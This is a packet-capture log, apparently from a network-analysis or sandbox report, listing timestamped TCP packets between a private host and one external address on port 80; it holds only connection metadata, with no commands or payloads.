Dec 18, 2024 14:08:01.468506098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.469032049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.515175104 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.611895084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.612061024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.612118959 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.612432957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.612447977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.612503052 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.613337040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.613537073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.613584995 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.614305973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.614486933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.614531994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.615205050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.615318060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.615381002 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.616101980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.616235018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.616282940 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.617104053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.617225885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.617284060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.617964029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.618108034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.618164062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.618973017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.619298935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.619349957 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.619959116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.620026112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.620076895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.620805979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.620912075 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.621000051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.621786118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.621956110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.622006893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.622661114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.622788906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.622937918 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.623852015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.623959064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.624006033 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.624650002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.624825954 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.624871969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.625438929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.625647068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.625706911 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.626400948 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.626466036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.626562119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.627471924 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.627504110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.627546072 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.628673077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.628866911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.628935099 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.629520893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.629625082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.629673958 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.630131960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.630373001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.630501986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.631038904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.631165981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.631217003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.631997108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.632158995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.632369041 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.633124113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.633145094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.633188963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.633896112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.634020090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.634079933 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.634812117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.634927034 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.634980917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.635731936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.635900021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.635946035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.636645079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.636899948 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.636950970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.637586117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.637722015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.637769938 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.638534069 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.638650894 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.638699055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.639452934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.639580965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.639727116 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.640765905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.640918016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.640979052 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.641403913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.641484022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.641565084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.642549038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.642663956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.642708063 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.643296957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.643495083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.643542051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.644151926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.644288063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.644335985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.645174980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.645445108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.645489931 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.646143913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.646222115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.646312952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.647093058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.647108078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.647159100 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.647902966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.648094893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.648137093 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.648857117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.648974895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.649065971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.649734020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.649933100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.649980068 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.650708914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.650809050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.650895119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.651637077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.651818037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.651870012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.652573109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.652641058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.652772903 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.653551102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.653752089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.653798103 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.654470921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.654551029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.654597044 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.655445099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.655607939 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.655656099 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.656327963 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.656395912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.656447887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.657210112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.657427073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.657502890 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.658243895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.658371925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.658416986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.659084082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.659161091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.659209013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.660080910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.660173893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.660218000 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.661078930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.702656984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.804882050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.805020094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.805114031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.805392981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.805444956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.805649042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.805773020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.805844069 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.805936098 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.806448936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.806543112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.806649923 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.807362080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.807542086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.807610035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.808316946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.808429956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.808505058 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.809237003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.809442043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.809746981 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.810194016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.810240984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.810297012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.811151981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.811223984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.811435938 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.812093019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.812175035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.812264919 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.813016891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.813323021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.813545942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.813918114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.814110994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.814161062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.814850092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.814984083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.815124989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.815797091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.815936089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.815984964 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.817323923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.817344904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.817404032 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.818120003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.818134069 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.818198919 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.818989038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.819000959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.819088936 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.819556952 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.819613934 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.819657087 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.820449114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.820621967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.820683956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.821445942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.821578026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.821804047 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.822470903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.822560072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.822604895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.823640108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.824388981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.824435949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.824448109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.824455976 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.824487925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.825721979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.825767040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.825851917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.826406002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.826417923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.826533079 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.828622103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.828635931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.828681946 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.828721046 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.828735113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.828778982 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.828872919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.829029083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.829518080 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.829821110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.829982042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.830051899 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.830745935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.830872059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.831022978 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.831928015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.831942081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.832016945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.832654953 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.832844019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.832921982 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.833559990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.833708048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.833756924 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.834471941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.834578991 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.834734917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.835448980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.835890055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.835971117 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.836535931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.836978912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.837039948 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.837707996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.837721109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.837794065 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.838310003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.838504076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.838561058 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.839190006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.839296103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.839353085 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.840136051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.840217113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.840336084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.841043949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.841180086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.841259956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.841989994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.842097044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.842252016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.842888117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.842998981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.843055964 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.843857050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.843950033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.843996048 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.844791889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.844887972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.845283031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.845801115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.845905066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.845946074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.846633911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.846693039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.846791983 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.847598076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.847872019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.847925901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.848572969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.848623037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.848725080 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.849437952 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.849591017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.849632978 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.850431919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.850542068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.850593090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.851346016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.851454973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.851500034 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.852313995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.852329016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.852408886 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.853187084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.905796051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.996388912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.996470928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.996536970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.996927023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.997008085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.997167110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.997792959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.997886896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.997945070 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.998729944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.999000072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.999135017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:01.999149084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:01.999965906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:02.000030041 CET	80	49780	176.113.115.178	192.168.2.9
